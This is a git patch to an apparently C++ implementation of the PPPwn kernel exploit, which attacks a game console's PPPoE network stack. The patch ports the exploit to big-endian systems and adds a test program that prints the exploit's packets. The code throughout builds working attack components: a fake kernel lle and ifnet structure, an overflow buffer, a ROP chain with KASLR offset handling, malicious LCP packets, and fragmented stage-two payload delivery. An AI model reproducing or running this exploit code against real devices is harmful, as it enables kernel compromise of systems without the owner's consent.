From ae5c32461070d5e358724865e863ff0e96122146 Mon Sep 17 00:00:00 2001 From: xfangfang <2553041586@qq.com> Date: Mon, 27 May 2024 06:31:43 +0800 Subject: [PATCH] Support big endian system (#52) * PackageBuilder support big endian * Support MIPS big endian * Support building for more big endian architectures * Fix CI build error * Fix pppoe_softc_list * Fix UDP fragmentOffset * Fix for PCPP_IP_MORE_FRAGMENTS flag * Fix UDP checksum * Fix LCP magic number --- .github/workflows/ci.yaml | 2 + CMakeLists.txt | 11 +++++ endian.patch | 12 +++++ include/exploit.h | 13 ++---- src/exploit.cpp | 67 ++++++++++++++------------- src/packet.cpp | 32 +++++++------ tests/CMakeLists.txt | 7 ++- tests/README.md | 7 +++ tests/extern.cpp | 27 +++++++---- tests/output.cpp | 97 +++++++++++++++++++++++++++++++++++++++ 10 files changed, 211 insertions(+), 64 deletions(-) create mode 100644 endian.patch create mode 100644 tests/output.cpp diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 8b86c6e..5a74136 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -48,6 +48,8 @@ jobs: cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-mcpu=arm1176jzf_s'", name: "(pi_zero_w)" } - { target: mipsel-linux-musl, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma", cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float'" } + - { target: mips-linux-musl, os: ubuntu-latest, strip: "llvm-strip", upx: "upx --lzma", + cmake: "-DUSE_SYSTEM_PCAP=OFF -DZIG_COMPILE_OPTION='-msoft-float'" } steps: - uses: actions/checkout@v4 diff --git a/CMakeLists.txt b/CMakeLists.txt index c9fa0b3..066d30f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -94,6 +94,17 @@ else () set_property(TARGET Pcap++ PROPERTY COMPILE_WARNING_AS_ERROR OFF) set_property(TARGET Common++ PROPERTY COMPILE_WARNING_AS_ERROR OFF) list(APPEND APP_LINK_LIB Pcap++) + set(ZIG_BE "mips" "mips64" "armeb" "powerpc64" "powerpc" "aarch64_be" "s390x") + list(FIND ZIG_BE "${ZIG_TARGET_ARCH}" INDEX) + if (${INDEX} GREATER -1) + message(STATUS "Patching Layer.h to support big endian when cross-compiling") + add_custom_target(PatchLayer + WORKING_DIRECTORY ${PcapPlusPlus_SOURCE_DIR} + COMMAND git checkout -- ${PcapPlusPlus_SOURCE_DIR}/Packet++/header/Layer.h + COMMAND git apply --stat --apply ${CMAKE_SOURCE_DIR}/endian.patch + ) + add_dependencies(Packet++ PatchLayer) + endif () endif () add_library(${PROJECT_NAME}_static STATIC src/exploit.cpp src/packet.cpp) diff --git a/endian.patch b/endian.patch new file mode 100644 index 0000000..12aab8e --- /dev/null +++ b/endian.patch @@ -0,0 +1,12 @@ +diff --git a/Packet++/header/Layer.h b/Packet++/header/Layer.h +index afa1d3fa..438ab99c 100644 +--- a/Packet++/header/Layer.h ++++ b/Packet++/header/Layer.h +@@ -4,6 +4,7 @@ + #include + #include + #include "ProtocolType.h" ++#include "EndianPortable.h" + #include + + /// @file diff --git a/include/exploit.h b/include/exploit.h index 3019f0d..fa38ffc 100644 --- a/include/exploit.h +++ b/include/exploit.h @@ -12,17 +12,12 @@ #define RETURN_FAIL 1 #define RETURN_SUCCESS 0 -#ifdef DEBUG -#define hexdump(p) PacketBuilder::hexPrint(p) -#define hexdump_verbose(p) (void) p - -#else -#define hexdump(p) (void) p -#define hexdump_verbose(p) (void) p -#endif +#define hexdump(p) if(PacketBuilder::debug) PacketBuilder::hexPrint(p) class PacketBuilder { public: + static void hexPrint(const uint8_t* data, size_t len); + static void hexPrint(const pcpp::Packet &packet); static pcpp::Packet lcpEchoReply(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac, @@ -64,6 +59,8 @@ class PacketBuilder { static pcpp::PPPoESessionLayer *getPPPoESessionLayer(const pcpp::Packet &packet, uint16_t pppType); static pcpp::PPPoEDiscoveryLayer *getPPPoEDiscoveryLayer(const pcpp::Packet &packet, uint8_t type); + + static inline bool debug{}; }; class Exploit { diff --git a/src/exploit.cpp b/src/exploit.cpp index 73af0ee..f151be8 100644 --- a/src/exploit.cpp +++ b/src/exploit.cpp @@ -71,10 +71,20 @@ struct Cookie { #define CORRUPT_NUM 0x1 #endif -// todo: Support big endian system -#define V64(list, index, data) (*(uint64_t *) &(list)[index]) = data -#define V32(list, index, data) (*(uint32_t *) &(list)[index]) = data -#define V16(list, index, data) (*(uint16_t *) &(list)[index]) = data +#ifndef htole64 +#define htole64 +#endif +#ifndef htole32 +#define htole32 +#endif +#ifndef htole16 +#define htole16 +#endif + +#define V64BE(list, index, data) (*(uint64_t *) &(list)[index]) = htobe64(data) +#define V64(list, index, data) (*(uint64_t *) &(list)[index]) = htole64(data) +#define V32(list, index, data) (*(uint32_t *) &(list)[index]) = htole32(data) +#define V16(list, index, data) (*(uint16_t *) &(list)[index]) = htole16(data) #define V8(list, index, data) (*(uint8_t *) &(list)[index]) = data #define CHECK_RET(value) { int ret = (value); if(ret != RETURN_SUCCESS) return ret;} @@ -198,6 +208,7 @@ void Exploit::updateSourceMac(uint64_t value) { }; Converter planted{}; planted.u64 = value & 0xffffffffffff; + planted.u64 = htole64(planted.u64); this->source_mac = pcpp::MacAddress(planted.u8); std::cout << "[+] Source MAC: " << this->source_mac.toString() << std::endl; } @@ -361,6 +372,7 @@ int Exploit::ppp_negotiation(const std::function(Exploit *) } memcpy(&pppoe_softc, host_uniq, sizeof(pppoe_softc)); + pppoe_softc = htole64(pppoe_softc); std::cout << "[+] pppoe_softc: 0x" << std::hex << pppoe_softc << std::endl; auto *ethLayer = pkt.packet.getLayerOfType(); @@ -514,7 +526,7 @@ std::vector Exploit::build_fake_lle(Exploit *self) { V64(fake_lle, 0x70, 0x7fffffffffffffff); // ln_ntick V32(fake_lle, 0x78, 0); // lle_refcnt V32(fake_lle, 0x7C, 0); // pad - V64(fake_lle, 0x80, htobe64(0x414141414141)); // ll_addr + V64BE(fake_lle, 0x80, 0x414141414141); // ll_addr // lle_timer V64(fake_lle, 0x88, 0); // sle @@ -533,8 +545,8 @@ std::vector Exploit::build_fake_lle(Exploit *self) { V16(fake_lle, 0xC2, 0); // sin6_port V32(fake_lle, 0xC4, 0); // sin6_flowinfo // sin6_addr - V64(fake_lle, 0xC8, htobe64(0xfe80000100000000)); - V64(fake_lle, 0xD0, htobe64(0x4141414141414141)); + V64BE(fake_lle, 0xC8, 0xfe80000100000000); + V64BE(fake_lle, 0xD0, 0x4141414141414141); V32(fake_lle, 0xD8, 0); // sin6_scope_id // pad @@ -769,7 +781,7 @@ int Exploit::stage1() { auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(), pppLayer->getPPPoEHeader()->sessionId, pppLayer->getLayerPayload()[1], // id - *(uint32_t * ) & pppLayer->getLayerPayload()[4]); // magic number + htole32(*(uint32_t * ) & pppLayer->getLayerPayload()[4])); // magic number device->sendPacket(&echoReply); }, nullptr); @@ -904,7 +916,7 @@ int Exploit::stage2() { if (option[0] != 1) return false; // type 1 is ICMPv6NDOptSrcLLAddr if (option[1] > 1) { auto *self = (Exploit *) cookie; - self->pppoe_softc_list = *(uint64_t * )(option + 3); + self->pppoe_softc_list = htole64(*(uint64_t * )(option + 3)); return true; // length > 1 } return false; @@ -981,7 +993,7 @@ int Exploit::stage4() { ipLayer.getIPv4Header()->timeToLive = 0x40; ipLayer.getIPv4Header()->ipId = htobe16(1); ipLayer.getIPv4Header()->protocol = pcpp::IPProtocolTypes::PACKETPP_IPPROTO_UDP; - ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) | PCPP_IP_MORE_FRAGMENTS; + ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) | htobe16(0x2000); ipLayer.getFragmentOffset(); packet.addLayer(&ipLayer); @@ -996,7 +1008,7 @@ int Exploit::stage4() { // last fragment if (offset + payloadSize >= this->stage2_bin.size()) { - ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & 0xFF1F; + ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & htobe16(0x1FFF); payloadSize = this->stage2_bin.size() - offset; } @@ -1014,10 +1026,10 @@ int Exploit::stage4() { // Calculate checksum std::vector temp(udpLayer.getHeaderLen()); - V16(temp, 0, udpHeader->portSrc); - V16(temp, 2, udpHeader->portDst); - V16(temp, 4, udpHeader->length); - V16(temp, 6, 0); + (*(uint16_t *) &(temp)[0]) = udpHeader->portSrc; + (*(uint16_t *) &(temp)[2]) = udpHeader->portDst; + (*(uint16_t *) &(temp)[4]) = udpHeader->length; + (*(uint16_t *) &(temp)[6]) = 0; temp.insert(temp.end(), this->stage2_bin.begin(), this->stage2_bin.end()); uint16_t checksumRes = pcpp::computePseudoHdrChecksum(temp.data(), temp.size(), @@ -1088,34 +1100,23 @@ int Exploit::run() { return RETURN_SUCCESS; } -template +template struct Tunnel; -template -struct Tunnel { +template +struct Tunnel { friend T &stopThread(U &u) { return u.*M; } -}; - -template -struct Tunnel<&pcpp::PcapLiveDevice::m_StopThread>; - -std::atomic &stopThread(pcpp::PcapLiveDevice &); - -template -struct Tunnel2; - -template -struct Tunnel2 { - friend T &pcapHandle(U &u) { - return u.*M; + friend Q &pcapHandle(V &u) { + return u.*N; } }; template -struct Tunnel2<&pcpp::IPcapDevice::m_PcapDescriptor>; +struct Tunnel<&pcpp::PcapLiveDevice::m_StopThread, &pcpp::IPcapDevice::m_PcapDescriptor>; +std::atomic &stopThread(pcpp::PcapLiveDevice &); pcap_t *&pcapHandle(pcpp::IPcapDevice &); void Exploit::stop() { diff --git a/src/packet.cpp b/src/packet.cpp index 5f1aecc..82b9222 100644 --- a/src/packet.cpp +++ b/src/packet.cpp @@ -47,10 +47,6 @@ class MyPPPoETagBuilder : public pcpp::PPPoEDiscoveryLayer::PPPoETagBuilder { } }; -uint16_t force_htole16(uint16_t host_16bits) { - return ((host_16bits >> 8) & 0xff) | ((host_16bits << 8) & 0xff00); -} - uint16_t p16be(uint64_t val) { return htobe16(static_cast(val & 0xffff)); } @@ -63,7 +59,7 @@ static pcpp::PayloadLayer *buildPPPLayer(pcpp::PPPoELayer *last, uint8_t code, u (*(uint16_t * ) & ppp_data[2]) = p16be(4 + data_len); if (data_len > 0) memcpy(&ppp_data[4], data, data_len); auto *pppLayer = new pcpp::PayloadLayer(ppp_data, sizeof(ppp_data), false); - last->getPPPoEHeader()->payloadLength = p16be(force_htole16(last->getPPPoEHeader()->payloadLength) + + last->getPPPoEHeader()->payloadLength = p16be(p16be(last->getPPPoEHeader()->payloadLength) + sizeof(ppp_data) + sizeof(uint16_t)); return pppLayer; } @@ -75,7 +71,7 @@ static pcpp::PayloadLayer *buildPPPLayer(pcpp::PPPoELayer *last, uint8_t code, u ppp_data[1] = id; (*(uint16_t * ) & ppp_data[2]) = p16be(4 + data_len); auto *pppLayer = new pcpp::PayloadLayer(ppp_data, sizeof(ppp_data), false); - last->getPPPoEHeader()->payloadLength = p16be(force_htole16(last->getPPPoEHeader()->payloadLength) + + last->getPPPoEHeader()->payloadLength = p16be(p16be(last->getPPPoEHeader()->payloadLength) + sizeof(ppp_data) + sizeof(uint16_t)); return pppLayer; } @@ -86,30 +82,34 @@ static pcpp::PayloadLayer *buildPPPLCPOptionLayer(pcpp::PPPoELayer *last, const option_data[1] = data_len + 2; // len if (data_len > 0) memcpy(&option_data[2], data, data_len); auto *pppLayer = new pcpp::PayloadLayer(option_data, sizeof(option_data), false); - last->getPPPoEHeader()->payloadLength = p16be(force_htole16(last->getPPPoEHeader()->payloadLength) + + last->getPPPoEHeader()->payloadLength = p16be(p16be(last->getPPPoEHeader()->payloadLength) + sizeof(option_data)); return pppLayer; } -void PacketBuilder::hexPrint(const pcpp::Packet &packet) { - auto *rawData = packet.getRawPacket()->getRawData(); +void PacketBuilder::hexPrint(const uint8_t* data, size_t len) { std::stringstream ss; ss << std::hex; - for (int i = 0; i < packet.getRawPacket()->getRawDataLen(); ++i) { + for (int i = 0; i < len; ++i) { if (i % 16 == 0) { if (i != 0) ss << "\n"; ss << std::setw(4) << std::setfill('0') << i << " "; } - ss << std::setw(2) << std::setfill('0') << (int) rawData[i] << " "; + ss << std::setw(2) << std::setfill('0') << (int) data[i] << " "; } std::cout << ss.str() << std::endl; } +void PacketBuilder::hexPrint(const pcpp::Packet &packet) { + PacketBuilder::hexPrint(packet.getRawPacket()->getRawData(), packet.getRawPacket()->getRawDataLen()); +} + pcpp::Packet PacketBuilder::lcpEchoReply(const pcpp::MacAddress &source_mac, const pcpp::MacAddress &target_mac, uint16_t session, uint8_t id, uint32_t magic_number) { auto *ether = new pcpp::EthLayer(source_mac, target_mac, PCPP_ETHERTYPE_PPPOES); auto *pppoeLayer = new pcpp::PPPoESessionLayer(1, 1, session, PCPP_PPP_LCP); + magic_number = htole32(magic_number); auto *lcpEchoReply = buildPPPLayer(pppoeLayer, ECHO_REPLY, id, (uint8_t * ) & magic_number, sizeof(uint32_t)); pcpp::Packet packet; @@ -190,7 +190,10 @@ pcpp::Packet PacketBuilder::ipcpRequest(const pcpp::MacAddress &source_mac, cons std::vector data(6); data[0] = PPP_IPCP_Option_IP; data[1] = data.size(); - *(uint32_t * )(&data[2]) = pcpp::IPv4Address(SOURCE_IPV4).toInt(); + uint32_t ip = pcpp::IPv4Address(SOURCE_IPV4).toInt(); + for (int i = 0; i < 4; ++i) { + data[i + 2] = (ip >> (i * 8)) & 0xFF; + } pcpp::PayloadLayer *pppLayer = buildPPPLayer(pppoeLayer, CONF_REQ, IPCP_ID, data.data(), data.size()); pcpp::Packet packet; @@ -209,7 +212,10 @@ PacketBuilder::ipcpNak(const pcpp::MacAddress &source_mac, const pcpp::MacAddres std::vector data(6); data[0] = PPP_IPCP_Option_IP; data[1] = data.size(); - *(uint32_t * )(&data[2]) = pcpp::IPv4Address(TARGET_IPV4).toInt(); + uint32_t ip = pcpp::IPv4Address(TARGET_IPV4).toInt(); + for (int i = 0; i < 4; ++i) { + data[i + 2] = (ip >> (i * 8)) & 0xFF; + } pcpp::PayloadLayer *pppLayer = buildPPPLayer(pppoeLayer, CONF_NAK, id, data.data(), data.size()); pcpp::Packet packet; diff --git a/tests/CMakeLists.txt b/tests/CMakeLists.txt index a8c7a44..a5b5268 100644 --- a/tests/CMakeLists.txt +++ b/tests/CMakeLists.txt @@ -19,4 +19,9 @@ add_custom_target(${PROJECT_NAME}_pybind ALL DEPENDS ${PROJECT_NAME}_shared COMMAND ${Python3_EXECUTABLE} ${CMAKE_CURRENT_SOURCE_DIR}/pppwn.py --interface=${IFACE} --fw=${FW} --stage1=${STAGE1} --stage2=${STAGE2} - --libpppwn=$) \ No newline at end of file + --libpppwn=$) + +add_executable(${PROJECT_NAME}_output + ${CMAKE_CURRENT_SOURCE_DIR}/output.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/extern.cpp) +target_link_libraries(${PROJECT_NAME}_output PUBLIC ${PROJECT_NAME}_static) \ No newline at end of file diff --git a/tests/README.md b/tests/README.md index 95dbc6f..8f80f58 100644 --- a/tests/README.md +++ b/tests/README.md @@ -19,3 +19,10 @@ Test 2: Replace some functions in pppwn.py with C++ version, and run with a real cmake -B build -DBUILD_TEST=ON -DPython3_EXECUTABLE=$(which python3) -DIFACE=en10 -DFW=900 -DSTAGE1="" -DSTAGE2="" cmake --build build pppwn_pybind ``` + +Test 3: Output the packet generated by the C++ version. + +```shell +cmake -B build -DBUILD_TEST=ON +cmake --build build pppwn_output +``` \ No newline at end of file diff --git a/tests/extern.cpp b/tests/extern.cpp index 9f5695d..2ccb233 100644 --- a/tests/extern.cpp +++ b/tests/extern.cpp @@ -1,7 +1,12 @@ #include "exploit.h" +#include #define COPY_TO_BUFFER(buffer, packet) \ - memcpy(buffer, packet.getRawPacket()->getRawData(), size), packet.getRawPacket()->getRawDataLen() + size < packet.getRawPacket()->getRawDataLen() ? 0 : memcpy(buffer, packet.getRawPacket()->getRawData(), packet.getRawPacket()->getRawDataLen()), packet.getRawPacket()->getRawDataLen() + +#ifndef htole64 +#define htole64 +#endif extern "C" { @@ -53,51 +58,55 @@ void setTargetIpv6(const char *ipv6) { uint64_t buildFakeIfnet(uint8_t *buffer, uint64_t size) { auto data = Exploit::build_fake_ifnet(&exploit); - memcpy(buffer, data.data(), size); + memcpy(buffer, data.data(), data.size()); return data.size(); } uint64_t buildOverflowLle(uint8_t *buffer, uint64_t size) { auto data = Exploit::build_overflow_lle(&exploit); - memcpy(buffer, data.data(), size); + memcpy(buffer, data.data(), data.size()); return data.size(); } uint64_t buildFakeLle(uint8_t *buffer, uint64_t size) { auto data = Exploit::build_fake_lle(&exploit); - memcpy(buffer, data.data(), size); + memcpy(buffer, data.data(), data.size()); return data.size(); } uint64_t buildSecondRop(uint8_t *buffer, uint64_t size) { auto data = Exploit::build_second_rop(&exploit); - memcpy(buffer, data.data(), size); + memcpy(buffer, data.data(), data.size()); return data.size(); } int buildPado(uint8_t *buffer, uint64_t size, uint8_t *cookie, uint64_t cookie_size) { + uint64_t temp = htole64(exploit.pppoe_softc); pcpp::Packet &&packet = PacketBuilder::pado(exploit.source_mac, exploit.target_mac, cookie, cookie_size, - (uint8_t * ) & exploit.pppoe_softc, sizeof(uint64_t)); + (uint8_t * ) & temp, sizeof(uint64_t)); return COPY_TO_BUFFER(buffer, packet); } void sendPado(uint8_t *cookie, uint64_t cookie_size) { + uint64_t temp = htole64(exploit.pppoe_softc); pcpp::Packet &&packet = PacketBuilder::pado(exploit.source_mac, exploit.target_mac, cookie, cookie_size, - (uint8_t * ) & exploit.pppoe_softc, sizeof(uint64_t)); + (uint8_t * ) & temp, sizeof(uint64_t)); exploit.dev->sendPacket(&packet); } int buildPads(uint8_t *buffer, uint64_t size) { + uint64_t temp = htole64(exploit.pppoe_softc); pcpp::Packet &&packet = PacketBuilder::pads(exploit.source_mac, exploit.target_mac, - (uint8_t * ) & exploit.pppoe_softc, sizeof(uint64_t)); + (uint8_t * ) & temp, sizeof(uint64_t)); return COPY_TO_BUFFER(buffer, packet); } void sendPads() { + uint64_t temp = htole64(exploit.pppoe_softc); pcpp::Packet &&packet = PacketBuilder::pads(exploit.source_mac, exploit.target_mac, - (uint8_t * ) & exploit.pppoe_softc, sizeof(uint64_t)); + (uint8_t * ) & temp, sizeof(uint64_t)); exploit.dev->sendPacket(&packet); } diff --git a/tests/output.cpp b/tests/output.cpp new file mode 100644 index 0000000..328cc7e --- /dev/null +++ b/tests/output.cpp @@ -0,0 +1,97 @@ + +#include + +#include "exploit.h" + +extern "C" { +void setSourceMac(const char *mac); +void setTargetMac(const char *mac); +void setPppoeSoftc(uint64_t pppoe_softc); +void setKaslrOffset(uint64_t value); +void setStage1(const uint8_t *data, uint64_t size); +void setStage2(const uint8_t *data, uint64_t size); +void setTargetIpv6(const char *ipv6); +int buildPado(uint8_t *buffer, uint64_t size, uint8_t *cookie, uint64_t cookie_size); +int buildPads(uint8_t *buffer, uint64_t size); +int buildPadt(uint8_t *buffer, uint64_t size); +int buildLcpRequest(uint8_t *buffer, uint64_t size); +int buildLcpAck(uint8_t *buffer, uint64_t size, uint8_t id); +int buildIpcpRequest(uint8_t *buffer, uint64_t size); +int buildIpcpNak(uint8_t *buffer, uint64_t size, uint8_t id); +int buildIpcpAck(uint8_t *buffer, uint64_t size, uint8_t id, uint8_t *option, uint64_t option_size); +int buildIcmpv6Echo(uint8_t *buffer, uint64_t size, const char *source_ipv6); +int buildIcmpv6Na(uint8_t *buffer, uint64_t size, const char *source_ipv6); +int buildPinCpu0(uint8_t *buffer, uint64_t size); +int buildMaliciousLcp(uint8_t *buffer, uint64_t size); +int buildLcpEchoReply(uint8_t *buffer, uint64_t size, const char *source_mac, const char *target_mac, int16_t session, + uint8_t id, uint32_t magic_number); +int buildLcpTerminate(uint8_t *buffer, uint64_t size); +uint64_t buildFakeIfnet(uint8_t *buffer, uint64_t size); +uint64_t buildOverflowLle(uint8_t *buffer, uint64_t size); +uint64_t buildFakeLle(uint8_t *buffer, uint64_t size); +uint64_t buildSecondRop(uint8_t *buffer, uint64_t size); +} + +int main() { + PacketBuilder::debug = true; + // init + setSourceMac("11:22:33:44:55:66"); + setTargetMac("10:20:30:40:50:60"); + setPppoeSoftc(0x1234567890abcdef); + setKaslrOffset(0x1030507090a0c0e0); + std::vector stage1 = {1, 2, 3, 4, 5}; + setStage1(stage1.data(), stage1.size()); + std::vector stage2 = {6, 7, 8, 9, 0}; + setStage2(stage2.data(), stage2.size()); + setTargetIpv6("fe80::22ff:44ff:ee66:cc88"); + // outputs + std::cout << "PADO" << std::endl; + uint8_t cookie[] = {0xaa, 0xff, 0xde, 0xae, 0x12}; + buildPado(nullptr, 0, cookie, 5); + std::cout << "PADS" << std::endl; + buildPads(nullptr, 0); + std::cout << "PADT" << std::endl; + buildPadt(nullptr, 0); + std::cout << "LCP" << std::endl; + buildLcpRequest(nullptr, 0); + std::cout << "LCP ACK" << std::endl; + buildLcpAck(nullptr, 0, 123); + std::cout << "IPCP" << std::endl; + buildIpcpRequest(nullptr, 0); + std::cout << "IPCP NAK" << std::endl; + buildIpcpNak(nullptr, 0, 234); + std::cout << "IPCP ACK" << std::endl; + uint8_t option[] = {1, 2, 3, 4, 5}; + buildIpcpAck(nullptr, 0, 1, option, 5); + std::cout << "ICMPv6 echo" << std::endl; + buildIcmpv6Echo(nullptr, 0, "fe80::1234:5678:ee66:cc88"); + std::cout << "ICMPv6 na" << std::endl; + buildIcmpv6Na(nullptr, 0, "fe80::1234:5678:ee66:cc88"); + std::cout << "PIN CPU" << std::endl; + buildPinCpu0(nullptr, 0); + std::cout << "BAD LCP" << std::endl; + buildMaliciousLcp(nullptr, 0); + std::cout << "LCP echo" << std::endl; + uint8_t magic_number[] = {0x12, 0x34, 0x56, 0x78}; + buildLcpEchoReply(nullptr, 0, "12:23:34:45:56:67", "a0:a1:a2:a3:a4:a5", 123, 2, + htole32(*(uint32_t *) &magic_number)); + std::cout << "LCP term" << std::endl; + buildLcpTerminate(nullptr, 0); + + uint8_t buf[0x1000]; + uint64_t res; + std::cout << "Fake ifnet" << std::endl; + res = buildFakeIfnet(buf, sizeof(buf)); + PacketBuilder::hexPrint(buf, res); + std::cout << "Overflow lle" << std::endl; + res = buildOverflowLle(buf, sizeof(buf)); + PacketBuilder::hexPrint(buf, res); + std::cout << "Fake lle" << std::endl; + res = buildFakeLle(buf, sizeof(buf)); + PacketBuilder::hexPrint(buf, res); + std::cout << "Second rop" << std::endl; + res = buildSecondRop(buf, sizeof(buf)); + PacketBuilder::hexPrint(buf, res); + + return 0; +} \ No newline at end of file